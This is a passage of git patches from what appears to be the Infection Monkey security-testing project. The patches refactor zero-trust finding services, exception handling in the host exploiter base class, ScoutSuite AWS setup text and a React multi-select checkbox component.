SCHEMA + first_subnet = StringField() + second_subnet = StringField() + + # LOGIC + @staticmethod + def create_subnet_pair(subnets: List[str]): + subnets.sort() + return SubnetPair(first_subnet=subnets[0], second_subnet=subnets[1]) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py index 51af818d1..a5eb865a7 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py @@ -5,8 +5,8 @@ from common.network.network_range import NetworkRange from common.network.segmentation_utils import get_ip_if_in_subnet, get_ip_in_src_and_not_in_dst from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups +from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \ "from `{src_seg}` segments to `{dst_seg}` segments." @@ -26,10 +26,11 @@ def check_segmentation_violation(current_monkey, target_ip): target_subnet = subnet_pair[1] if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet) - SegmentationFinding.create_or_add_to_existing_finding( - subnets=[source_subnet, target_subnet], + MonkeyFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_SEGMENTATION, + subnet_pairs=[[source_subnet, target_subnet]], status=zero_trust_consts.STATUS_FAILED, - segmentation_event=event + events=[event] ) @@ -90,10 +91,11 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): all_subnets_pairs_for_this_monkey = itertools.product(this_monkey_subnets, other_subnets) for subnet_pair in all_subnets_pairs_for_this_monkey: - SegmentationFinding.create_or_add_to_existing_finding( - subnets=list(subnet_pair), + MonkeyFindingService.create_or_add_to_existing( + subnet_pairs=[list(subnet_pair)], status=zero_trust_consts.STATUS_PASSED, - segmentation_event=get_segmentation_done_event(current_monkey, subnet_pair) + events=[get_segmentation_done_event(current_monkey, subnet_pair)], + test=zero_trust_consts.TEST_SEGMENTATION ) diff --git a/monkey/monkey_island/cc/services/zero_trust/events_service.py b/monkey/monkey_island/cc/services/zero_trust/events_service.py deleted file mode 100644 index 7f4f9e496..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/events_service.py +++ /dev/null @@ -1,36 +0,0 @@ -from typing import List - -from bson import ObjectId - -from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails - -# How many events of a single finding to return to UI. -# 50 will return 50 latest and 50 oldest events from a finding -EVENT_FETCH_CNT = 50 - - -class EventsService: - - @staticmethod - def fetch_events_for_display(finding_id: ObjectId): - pipeline = [{'$match': {'_id': finding_id}}, - {'$addFields': {'oldest_events': {'$slice': ['$events', EVENT_FETCH_CNT]}, - 'latest_events': {'$slice': ['$events', -1 * EVENT_FETCH_CNT]}, - 'event_count': {'$size': '$events'}}}, - {'$unset': ['events']}] - details = list(MonkeyFindingDetails.objects.aggregate(*pipeline)) - if details: - details = details[0] - details['latest_events'] = EventsService._get_events_without_overlap(details['event_count'], - details['latest_events']) - return details - - @staticmethod - def _get_events_without_overlap(event_count: int, events: List[object]) -> List[object]: - overlap_count = event_count - EVENT_FETCH_CNT - if overlap_count >= EVENT_FETCH_CNT: - return events - elif overlap_count <= 0: - return [] - else: - return events[-1 * overlap_count:] diff --git a/monkey/monkey_island/cc/services/zero_trust/finding_service.py b/monkey/monkey_island/cc/services/zero_trust/finding_service.py index f6ab4b39a..4d165da7e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/finding_service.py @@ -2,7 +2,7 @@ from typing import List from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.services.zero_trust.events_service import EventsService +from monkey_island.cc.services.zero_trust.monkey_details_service import MonkeyDetailsService class FindingService: @@ -13,7 +13,7 @@ class FindingService: details = [] for i in range(len(findings)): if findings[i].type == zero_trust_consts.MONKEY_FINDING: - details = EventsService.fetch_events_for_display(findings[i].details.id) + details = MonkeyDetailsService.fetch_details_for_display(findings[i].details.id) elif findings[i].type == zero_trust_consts.SCOUTSUITE_FINDING: details = findings[i].details.fetch().to_mongo() findings[i] = findings[i].to_mongo() diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py index 1ee60b117..fbc477953 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py @@ -6,12 +6,13 @@ from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails +from monkey_island.cc.models.zero_trust.subnet_pair import SubnetPair class MonkeyFindingService: @staticmethod - def create_or_add_to_existing(test, status, events): + def create_or_add_to_existing(test, status, events, subnet_pairs=None): """ Create a new finding or add the events to an existing one if it's the same (same meaning same status and same test). @@ -23,15 +24,18 @@ class MonkeyFindingService: assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status) if len(existing_findings) == 0: - MonkeyFindingService.create_new_finding(test, status, events) + MonkeyFindingService.create_new_finding(test, status, events, subnet_pairs) else: # Now we know for sure this is the only one MonkeyFindingService.add_events(existing_findings[0], events) + if subnet_pairs: + MonkeyFindingService.add_subnet_pairs(existing_findings[0], subnet_pairs) @staticmethod - def create_new_finding(test: str, status: str, events: List[Event]): + def create_new_finding(test: str, status: str, events: List[Event], subnet_pairs: List[SubnetPair]): details = MonkeyFindingDetails() details.events = events + details.subnet_pairs = subnet_pairs details.save() Finding.save_finding(test, status, details) @@ -39,6 +43,20 @@ class MonkeyFindingService: def add_events(finding: Finding, events: List[Event]): finding.details.fetch().add_events(events).save() + @staticmethod + def add_subnet_pairs(finding: Finding, subnet_pairs: List[List[str]]): + finding_details = finding.details.fetch() + for subnet_pair in subnet_pairs: + subnet_pair_document = SubnetPair.create_subnet_pair(subnet_pair) + if not MonkeyFindingService.is_subnet_pair_in_finding(finding, subnet_pair_document): + finding_details.add_checked_subnet_pair(subnet_pair_document) + finding_details.save() + + @staticmethod + def is_subnet_pair_in_finding(finding: Finding, subnet_pair: SubnetPair): + details = finding.details.fetch() + return details.is_with_subnet_pair(subnet_pair) + @staticmethod def get_events_by_finding(finding_id: str) -> List[object]: finding = Finding.objects.get(id=finding_id) @@ -50,8 +68,5 @@ class MonkeyFindingService: @staticmethod def add_malicious_activity_to_timeline(events): - MonkeyFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=zero_trust_consts.STATUS_VERIFY, - events=events - ) + MonkeyFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=zero_trust_consts.STATUS_VERIFY, events=events) From 24ac497eec3a29a0699725bdf55260e23624c7e0 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 13 Oct 2020 17:45:00 +0300 Subject: [PATCH 080/466] Minor style refactoring --- .../zero_trust_checks/antivirus_existence.py | 5 ++--- .../zero_trust_checks/communicate_as_new_user.py | 15 ++++++--------- .../telemetry/zero_trust_checks/data_endpoints.py | 14 ++++---------- .../zero_trust_checks/machine_exploited.py | 7 ++----- .../telemetry/zero_trust_checks/tunneling.py | 7 ++----- 5 files changed, 16 insertions(+), 32 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py index 2aad6b896..e15969ec8 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py @@ -30,9 +30,8 @@ def check_antivirus_existence(process_list_json, monkey_guid): test_status = zero_trust_consts.STATUS_PASSED else: test_status = zero_trust_consts.STATUS_FAILED - MonkeyFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events - ) + MonkeyFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + status=test_status, events=events) def filter_av_processes(process_list): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py index 830c1e56f..00c197e0a 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py @@ -8,15 +8,12 @@ COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \ def check_new_user_communication(current_monkey, success, message): - MonkeyFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, - # If the monkey succeeded to create a user, then the test failed. - status=zero_trust_consts.STATUS_FAILED if success else zero_trust_consts.STATUS_PASSED, - events=[ - get_attempt_event(current_monkey), - get_result_event(current_monkey, message, success) - ] - ) + MonkeyFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, + status=zero_trust_consts.STATUS_FAILED if success else zero_trust_consts.STATUS_PASSED, + events=[ + get_attempt_event(current_monkey), + get_result_event(current_monkey, message, success) + ]) def get_attempt_event(current_monkey): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py index d4da2d8dd..e74c5c464 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py @@ -55,16 +55,10 @@ def check_open_data_endpoints(telemetry_json): event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK )) - MonkeyFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, - status=found_http_server_status, - events=events - ) + MonkeyFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, + status=found_http_server_status, events=events) - MonkeyFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC, - status=found_elastic_search_server, - events=events - ) + MonkeyFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC, + status=found_elastic_search_server, events=events) MonkeyFindingService.add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py index 941bc4643..e47c4a831 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py @@ -29,10 +29,7 @@ def check_machine_exploited(current_monkey, exploit_successful, exploiter, targe ) status = zero_trust_consts.STATUS_FAILED - MonkeyFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_MACHINE_EXPLOITED, - status=status, - events=events - ) + MonkeyFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_MACHINE_EXPLOITED, status=status, + events=events) MonkeyFindingService.add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py index 9d8140d58..dc5092345 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py @@ -18,10 +18,7 @@ def check_tunneling_violation(tunnel_telemetry_json): timestamp=tunnel_telemetry_json['timestamp'] )] - MonkeyFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_TUNNELING, - status=zero_trust_consts.STATUS_FAILED, - events=tunneling_events - ) + MonkeyFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_TUNNELING, + status=zero_trust_consts.STATUS_FAILED, events=tunneling_events) MonkeyFindingService.add_malicious_activity_to_timeline(tunneling_events) From 89bdbf946f580157c209800aa76b4c526d68dcd8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 13 Oct 2020 17:45:20 +0300 Subject: [PATCH 081/466] Minor exception handling improvement --- monkey/infection_monkey/exploit/HostExploiter.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 274d07329..f8fda6d18 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -3,6 +3,7 @@ from abc import abstractmethod from datetime import datetime import infection_monkey.exploit +from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.config import WormConfiguration from infection_monkey.utils.plugins.plugin import Plugin @@ -73,6 +74,8 @@ class HostExploiter(Plugin): result = None try: result = self._exploit_host() + except FailedExploitationError as e: + logger.debug(e) except Exception as _: logger.error(f'Exception in exploit_host', exc_info=True) finally: From eb5f8091950abc7930df335d30cce7b32b1a2ada Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 14 Oct 2020 10:30:13 +0300 Subject: [PATCH 082/466] Removed the storage of subnets that violate segmentation, because this info isn't being used anywhere --- .../zero_trust/monkey_finding_details.py | 9 ----- .../cc/models/zero_trust/subnet_pair.py | 19 ---------- .../zero_trust_checks/segmentation.py | 2 -- .../zero_trust/monkey_details_service.py | 36 +++++++++++++++++++ .../zero_trust/monkey_finding_service.py | 24 ++----------- 5 files changed, 39 insertions(+), 51 deletions(-) delete mode 100644 monkey/monkey_island/cc/models/zero_trust/subnet_pair.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/monkey_details_service.py diff --git a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py index 84ca0f7fc..d05cbc171 100644 --- a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py +++ b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py @@ -4,7 +4,6 @@ from typing import List from mongoengine import Document, EmbeddedDocumentListField from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.subnet_pair import SubnetPair class MonkeyFindingDetails(Document): @@ -15,16 +14,8 @@ class MonkeyFindingDetails(Document): # SCHEMA events = EmbeddedDocumentListField(document_type=Event, required=False) - checked_subnet_pairs = EmbeddedDocumentListField(document_type=SubnetPair, required=False) # LOGIC def add_events(self, events: List[Event]) -> MonkeyFindingDetails: self.update(push_all__events=events) return self - - def add_checked_subnet_pair(self, subnet_pair: SubnetPair) -> MonkeyFindingDetails: - self.update(push__checked_subnet_pairs=subnet_pair) - return self - - def is_with_subnet_pair(self, subnet_pair: SubnetPair): - return subnet_pair in self.checked_subnet_pairs diff --git a/monkey/monkey_island/cc/models/zero_trust/subnet_pair.py b/monkey/monkey_island/cc/models/zero_trust/subnet_pair.py deleted file mode 100644 index 8d3de96e4..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/subnet_pair.py +++ /dev/null @@ -1,19 +0,0 @@ -from typing import List - -from mongoengine import EmbeddedDocument, StringField - - -class SubnetPair(EmbeddedDocument): - """ - This model represents a pair of subnets. It is meant to hold details about cross-segmentation check between two - subnets. - """ - # SCHEMA - first_subnet = StringField() - second_subnet = StringField() - - # LOGIC - @staticmethod - def create_subnet_pair(subnets: List[str]): - subnets.sort() - return SubnetPair(first_subnet=subnets[0], second_subnet=subnets[1]) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py index a5eb865a7..1c43e2863 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py @@ -28,7 +28,6 @@ def check_segmentation_violation(current_monkey, target_ip): event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet) MonkeyFindingService.create_or_add_to_existing( test=zero_trust_consts.TEST_SEGMENTATION, - subnet_pairs=[[source_subnet, target_subnet]], status=zero_trust_consts.STATUS_FAILED, events=[event] ) @@ -92,7 +91,6 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): for subnet_pair in all_subnets_pairs_for_this_monkey: MonkeyFindingService.create_or_add_to_existing( - subnet_pairs=[list(subnet_pair)], status=zero_trust_consts.STATUS_PASSED, events=[get_segmentation_done_event(current_monkey, subnet_pair)], test=zero_trust_consts.TEST_SEGMENTATION diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_details_service.py new file mode 100644 index 000000000..623285ddd --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_details_service.py @@ -0,0 +1,36 @@ +from typing import List + +from bson import ObjectId + +from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails + +# How many events of a single finding to return to UI. +# 50 will return 50 latest and 50 oldest events from a finding +EVENT_FETCH_CNT = 50 + + +class MonkeyDetailsService: + + @staticmethod + def fetch_details_for_display(finding_id: ObjectId): + pipeline = [{'$match': {'_id': finding_id}}, + {'$addFields': {'oldest_events': {'$slice': ['$events', EVENT_FETCH_CNT]}, + 'latest_events': {'$slice': ['$events', -1 * EVENT_FETCH_CNT]}, + 'event_count': {'$size': '$events'}}}, + {'$unset': ['events', 'checked_subnet_pairs']}] + details = list(MonkeyFindingDetails.objects.aggregate(*pipeline)) + if details: + details = details[0] + details['latest_events'] = MonkeyDetailsService._get_events_without_overlap(details['event_count'], + details['latest_events']) + return details + + @staticmethod + def _get_events_without_overlap(event_count: int, events: List[object]) -> List[object]: + overlap_count = event_count - EVENT_FETCH_CNT + if overlap_count >= EVENT_FETCH_CNT: + return events + elif overlap_count <= 0: + return [] + else: + return events[-1 * overlap_count:] diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py index fbc477953..46c3137bf 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py @@ -6,13 +6,12 @@ from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails -from monkey_island.cc.models.zero_trust.subnet_pair import SubnetPair class MonkeyFindingService: @staticmethod - def create_or_add_to_existing(test, status, events, subnet_pairs=None): + def create_or_add_to_existing(test, status, events): """ Create a new finding or add the events to an existing one if it's the same (same meaning same status and same test). @@ -24,18 +23,15 @@ class MonkeyFindingService: assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status) if len(existing_findings) == 0: - MonkeyFindingService.create_new_finding(test, status, events, subnet_pairs) + MonkeyFindingService.create_new_finding(test, status, events) else: # Now we know for sure this is the only one MonkeyFindingService.add_events(existing_findings[0], events) - if subnet_pairs: - MonkeyFindingService.add_subnet_pairs(existing_findings[0], subnet_pairs) @staticmethod - def create_new_finding(test: str, status: str, events: List[Event], subnet_pairs: List[SubnetPair]): + def create_new_finding(test: str, status: str, events: List[Event]): details = MonkeyFindingDetails() details.events = events - details.subnet_pairs = subnet_pairs details.save() Finding.save_finding(test, status, details) @@ -43,20 +39,6 @@ class MonkeyFindingService: def add_events(finding: Finding, events: List[Event]): finding.details.fetch().add_events(events).save() - @staticmethod - def add_subnet_pairs(finding: Finding, subnet_pairs: List[List[str]]): - finding_details = finding.details.fetch() - for subnet_pair in subnet_pairs: - subnet_pair_document = SubnetPair.create_subnet_pair(subnet_pair) - if not MonkeyFindingService.is_subnet_pair_in_finding(finding, subnet_pair_document): - finding_details.add_checked_subnet_pair(subnet_pair_document) - finding_details.save() - - @staticmethod - def is_subnet_pair_in_finding(finding: Finding, subnet_pair: SubnetPair): - details = finding.details.fetch() - return details.is_with_subnet_pair(subnet_pair) - @staticmethod def get_events_by_finding(finding_id: str) -> List[object]: finding = Finding.objects.get(id=finding_id) From f894256e56069c54667e7c01a592d61df24238ca Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 14 Oct 2020 11:30:44 +0300 Subject: [PATCH 083/466] Minor phrasing improvements in scoutsuite setup tutorials --- .../scoutsuite-setup/AWSConfiguration/AWSCLISetup.js | 6 +++--- .../scoutsuite-setup/AWSConfiguration/AWSKeySetup.js | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSCLISetup.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSCLISetup.js index ea5665421..178c60d8b 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSCLISetup.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSCLISetup.js @@ -27,13 +27,13 @@ const getContents = (props) => { 1. Configure AWS CLI on Monkey Island Server (if you already have a configured CLI you can skip this step).
  1. - 1. Download and install it on the Monkey Island server (machine running this page).
  2. - 2. Run aws configure. It's important to configure credentials, which - allows ScoutSuite to get information about your cloud configuration. The most trivial way to do so is to + b. Run aws configure. It's important to configure credentials as it + allows ScoutSuite to get information about your cloud configuration. The simplest way to do so is to provide  - {props.schema.title} - - - {enumOptions.map(({value, label}, i) => { - return ( - setPaneInfo(schema.items.$ref, registry, value, setInfoPaneParams)}> - - - {label} - - - ); - })} - - -
- ); +class AdvancedMultiSelect extends React.Component { + constructor(props) { + super(props) + this.state = {masterCheckbox: true, infoPaneParams: getDefaultPaneParams(props.schema.items.$ref, props.registry)}; + this.onMasterCheckboxClick = this.onMasterCheckboxClick.bind(this); + } + + onMasterCheckboxClick() { + if (this.state.masterCheckbox) { + this.props.onChange([]); + } else { + this.props.onChange(this.props.schema.default); + } + + this.toggleMasterCheckbox(); + } + + toggleMasterCheckbox() { + this.setState((state) => ({ + masterCheckbox: !state.masterCheckbox + })); + } + + setPaneInfo(refString, registry, itemKey) { + let definitionObj = getFullDefinitionByKey(refString, registry, itemKey); + this.setState({infoPaneParams: {title: definitionObj.title, content: definitionObj.info, link: definitionObj.link}}); + } + render() { + const { + schema, + id, + options, + value, + required, + disabled, + readonly, + multiple, + autofocus, + onChange, + registry + } = this.props; + const {enumOptions} = options; + getDefaultPaneParams(schema.items.$ref, registry); + const selectValue = cloneDeep(value); + return ( +
+ + + {schema.title} + + + { + enumOptions.map(({value, label}, i) => { + return ( + this.setPaneInfo(schema.items.$ref, registry, value)}> + + + + {label} + + + ); + } + )} + + +
+ ); + } } export default AdvancedMultiSelect; From af329d56d826a5092cb3a2535bf0de65bd14600f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 8 Jan 2021 16:18:24 -0500 Subject: [PATCH 095/466] ui: Factor MasterCheckbox() out of AdvancedMultiSelect --- .../ui-components/AdvancedMultiSelect.js | 33 ++++++++++++++----- 1 file changed, 25 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index 38e52271e..b875a6426 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -42,6 +42,27 @@ function getDefaultPaneParams(refString, registry) { return ({title: configSection.title, content: configSection.description}); } +function MasterCheckbox(props) { + const { + title, + value, + disabled, + onClick, + checkboxState + } = props; + + return ( + + + {title} + + ); +} + class AdvancedMultiSelect extends React.Component { constructor(props) { super(props) @@ -69,6 +90,7 @@ class AdvancedMultiSelect extends React.Component { let definitionObj = getFullDefinitionByKey(refString, registry, itemKey); this.setState({infoPaneParams: {title: definitionObj.title, content: definitionObj.info, link: definitionObj.link}}); } + render() { const { schema, @@ -88,14 +110,9 @@ class AdvancedMultiSelect extends React.Component { const selectValue = cloneDeep(value); return (
- - - {schema.title} - + Date: Mon, 11 Jan 2021 19:11:27 -0500 Subject: [PATCH 096/466] ui: Factor ChildCheckbox out of AdvancedMultiSelect --- .../ui-components/AdvancedMultiSelect.js | 191 ++++++++++-------- 1 file changed, 107 insertions(+), 84 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index b875a6426..7507f234f 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -10,17 +10,6 @@ import {resolveObjectPath} from './utils/ObjectPathResolver'; import InfoPane from './InfoPane'; -function getSelectValuesAfterClick(valueArray, clickedValue) { - if (valueArray.includes(clickedValue)) { - return valueArray.filter((e) => { - return e !== clickedValue; - }); - } else { - valueArray.push(clickedValue); - return valueArray; - } -} - // Definitions passed to components only contains value and label, // custom fields like "info" or "links" must be pulled from registry object using this function function getFullDefinitionsFromRegistry(refString, registry) { @@ -56,95 +45,129 @@ function MasterCheckbox(props) { {title} ); } +function ChildCheckbox(props) { + const { + onPaneClick, + onClick, + value, + disabled, + label, + checkboxState + } = props; + + return ( + onPaneClick(value)}> + + + {label} + + + ); +} + class AdvancedMultiSelect extends React.Component { - constructor(props) { - super(props) - this.state = {masterCheckbox: true, infoPaneParams: getDefaultPaneParams(props.schema.items.$ref, props.registry)}; - this.onMasterCheckboxClick = this.onMasterCheckboxClick.bind(this); + constructor(props) { + super(props) + this.state = {masterCheckbox: true, infoPaneParams: getDefaultPaneParams(props.schema.items.$ref, props.registry)}; + this.onMasterCheckboxClick = this.onMasterCheckboxClick.bind(this); + this.onChildCheckboxClick = this.onChildCheckboxClick.bind(this); + this.setPaneInfo = this.setPaneInfo.bind(this, props.schema.items.$ref, props.registry); + } + + onMasterCheckboxClick() { + if (this.state.masterCheckbox) { + this.props.onChange([]); + } else { + this.props.onChange(this.props.schema.default); } - onMasterCheckboxClick() { - if (this.state.masterCheckbox) { - this.props.onChange([]); - } else { - this.props.onChange(this.props.schema.default); - } + this.toggleMasterCheckbox(); + } - this.toggleMasterCheckbox(); + onChildCheckboxClick(value) { + this.props.onChange(this.getSelectValuesAfterClick(value)); + } + + getSelectValuesAfterClick(clickedValue) { + const valueArray = cloneDeep(this.props.value); + + if (valueArray.includes(clickedValue)) { + return valueArray.filter((e) => { + return e !== clickedValue; + }); + } else { + valueArray.push(clickedValue); + return valueArray; } + } - toggleMasterCheckbox() { - this.setState((state) => ({ - masterCheckbox: !state.masterCheckbox - })); - } + toggleMasterCheckbox() { + this.setState((state) => ({ + masterCheckbox: !state.masterCheckbox + })); + } - setPaneInfo(refString, registry, itemKey) { - let definitionObj = getFullDefinitionByKey(refString, registry, itemKey); - this.setState({infoPaneParams: {title: definitionObj.title, content: definitionObj.info, link: definitionObj.link}}); - } + setPaneInfo(refString, registry, itemKey) { + let definitionObj = getFullDefinitionByKey(refString, registry, itemKey); + this.setState({infoPaneParams: {title: definitionObj.title, content: definitionObj.info, link: definitionObj.link}}); + } - render() { - const { - schema, - id, - options, - value, - required, - disabled, - readonly, - multiple, - autofocus, - onChange, - registry - } = this.props; - const {enumOptions} = options; - getDefaultPaneParams(schema.items.$ref, registry); - const selectValue = cloneDeep(value); - return ( -
- - - { - enumOptions.map(({value, label}, i) => { - return ( - this.setPaneInfo(schema.items.$ref, registry, value)}> + render() { + const { + schema, + id, + options, + value, + required, + disabled, + readonly, + multiple, + autofocus, + onChange, + registry + } = this.props; - - - {label} - - - ); - } - )} - - -
- ); - } + return ( +
+ + + { + enumOptions.map(({value, label}, i) => { + return ( + + ); + } + )} + + +
+ ); + } } export default AdvancedMultiSelect; From ba947a6b3001730a2f78ed9d443a6072823f2b87 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 11 Jan 2021 11:43:01 +0200 Subject: [PATCH 097/466] "type" param renamed to "finding_type" in finding DAO Fixed bug, which happened due to type -> finding_type refactoring --- monkey/monkey_island/cc/models/zero_trust/finding.py | 4 ++-- .../monkey_island/cc/services/zero_trust/finding_service.py | 6 +++--- .../zero_trust/scoutsuite/scoutsuite_finding_service.py | 2 +- .../components/report-components/zerotrust/FindingsTable.js | 4 ++-- 4 files changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index bad69bc95..7a6b924c8 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -34,7 +34,7 @@ class Finding(Document): # SCHEMA test = StringField(required=True, choices=zero_trust_consts.TESTS) status = StringField(required=True, choices=zero_trust_consts.ORDERED_TEST_STATUSES) - type = StringField(required=True, choices=zero_trust_consts.FINDING_TYPES) + finding_type = StringField(required=True, choices=zero_trust_consts.FINDING_TYPES) 